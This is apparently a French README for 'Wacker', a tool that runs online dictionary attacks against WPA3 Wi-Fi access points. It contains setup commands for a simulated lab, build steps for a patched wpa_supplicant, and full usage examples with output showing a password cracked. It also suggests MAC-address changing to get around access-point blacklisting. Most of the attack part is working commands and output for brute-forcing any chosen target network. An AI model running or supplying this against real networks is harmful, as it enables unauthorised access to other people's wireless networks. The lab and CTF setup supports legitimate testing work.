
Un craqueur de dictionnaire WPA3
Un ensemble de scripts pour aider à réaliser une attaque par dictionnaire en ligne contre un point d'accès WPA3. Wacker exploite l'interface de contrôle de wpa_supplicant pour piloter les opérations du démon supplicant et obtenir des informations d'état et des notifications d'événements, accélérant ainsi les tentatives de connexion lors des attaques par force brute.
Si vous ne trouvez pas de point d'accès WPA3 pour les tests, envisagez de mettre en place un environnement local en utilisant mac80211_hwsim (détails ci-dessous) ou en utilisant les machines virtuelles fournies par le RF Hackers Sanctuary (scoreboard.rfhackers.com).
Pour configurer votre propre simulateur logiciel de radios 802.11, il suffit de configurer et charger le module mac80211_hwsim approprié.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Choisissez l'une des nouvelles interfaces comme point d'accès WPA3 et utilisez le fichier de configuration suivant.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
Et démarrez hostapd avec
# hostapd -K -dd hostapd.conf
Si vous avez l'intention de répartir vos efforts de craquage sur une série d'interfaces réseau, le script split.sh fourni partitionnera une liste de mots pour vous.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Nous fournissons notre propre wpa_supplicant afin de garantir que certaines configurations sont définies ainsi que quelques modifications nécessaires dans le code source lui-même.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
python3.6+ est requis
Wacker doit être considéré comme un outil complémentaire à airodump ou kismet où la sélection de cible est déjà effectuée. Wacker désactive intentionnellement le scan en arrière-plan avec wpa_supplicant pour accélérer les tentatives d'authentification.
Le script wacker.py est conçu pour effectuer tout le travail lourd et nécessite quelques informations spécifiques concernant la cible.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
Avec un peu de chance... exécuter l'attaque en utilisant une seule instance...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
Exécuter plusieurs instances de wacker est facile si vous avez des interfaces réseau de rechange. N'oubliez pas de partitionner la liste de mots.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wacker est assez verbeux. Les fichiers d'intérêt se trouvent sous /tmp/wacker/
wacker ne gère pas les ACL mises en place par le point d'accès WPA3 cible. Cela signifie que le code actuel utilise toujours la même adresse MAC. Si le point d'accès cible met notre adresse MAC sur liste noire, le script ne fera pas la différence entre un véritable échec d'authentification et le rejet de notre adresse MAC blacklistée. Cela impliquera que nous considérerons le vrai mot de passe comme un échec. Une façon de résoudre... nous devrions ajouter macchanger au code source au prix d'un ralentissement.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites